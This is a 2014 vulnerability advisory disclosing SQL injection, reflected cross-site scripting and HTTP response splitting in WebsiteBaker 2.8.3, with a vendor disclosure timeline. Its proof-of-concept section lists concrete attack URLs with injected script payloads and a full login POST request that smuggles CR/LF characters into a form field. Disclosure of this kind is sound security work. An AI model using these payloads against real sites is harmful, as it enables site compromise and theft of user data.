WebsiteBaker 2.8.3 – Multiple Vulnerabilities
============================================= MGC ALERT 2014-004 - Original release date: March 11, 2014 - Last revised: November 18, 2014 - Discovered by: Manuel Garcia Cardenas - Severity: 10/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Multiple Vulnerabilities in WebsiteBaker 2.8.3 II. BACKGROUND ------------------------- WebsiteBaker helps you to create the website you want: A free, easy and secure, flexible and extensible open source content management system (CMS). III. DESCRIPTION ------------------------- It is possible to inject SQL code in the variable "id" on the page "modify.php". This bug was found using the portal without authentication. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. Has been detected a reflected XSS vulnerability in WebsiteBaker, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. An input validation problem exists within WebsiteBaker which allows injecting CR (carriage return - %0D or \r) and LF (line feed - %0A or \n) characters into the server HTTP response header, resulting in a HTTP Response Splitting Vulnerability. IV. PROOF OF CONCEPT ------------------------- SQL Injection: /wb/admin/pages/modify.php?page_id=1 Cross-Site Scripting GET: /wb/admin/admintools/tool.php?tool=captcha_control&6d442"><script>alert(1)</script>8e3b12642a8=1 /wb/modules/edit_module_files.php?page_id=1&mod_dir=news&edit_file=frontend.css&action=edit&page_id=1§ion_id=%007e393<script>alert(1)</script>9f8a40a7355f9acf0 /wb/modules/news/add_post.php?page_id=1§ion_id=f953a"><script>alert(1)</script>4ddf3369c1f /wb/modules/news/modify_group.php?page_id=1§ion_id=%008cf03"><script>alert(1)</script>2680504c3ec&group_id=62be99873b33d1d3 /wb/modules/news/modify_post.php?page_id=1§ion_id=%003874a<script>alert(1)</script>4194d511605&post_id=db89943875a2db52 /wb/modules/news/modify_settings.php?page_id=1§ion_id=%008b2f4"><script>alert(1)</script>bdc8b3919b5 HTTP RESPONSE SPLITTING: If you enter a valid user and password, you can inject on the headers malicious code, example. POST /wb/admin/login/index.php HTTP/1.1 Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.244.129:80/wb/ Host: 127.0.0.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: */* password_fieldname=password_nwh1uuwb&password_nwh1uuwb=VALIDPASS&remember=true&submit=Entrar& url=%0d%0a%20InjectedHeader:MaliciousCode&username_fieldname=username_nwh1uuwb&username_nwh1uuwb=adminResponse You can inject a new header named: InjectedHeader:MaliciousCode because we inject a CR&LF new line with %0d%0a%20. V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- WebsiteBaker <= 2.8.3 VII. SOLUTION ------------------------- No news releases VIII. REFERENCES ------------------------- http://www.websitebaker.org IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- March 11, 2014 1: Initial release XI. DISCLOSURE TIMELINE ------------------------- March 11, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas March 11, 2014 2: Send to vendor June 05, 2014 3: Second mail to the verdor without response November 18, 2014 4: Sent to lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester |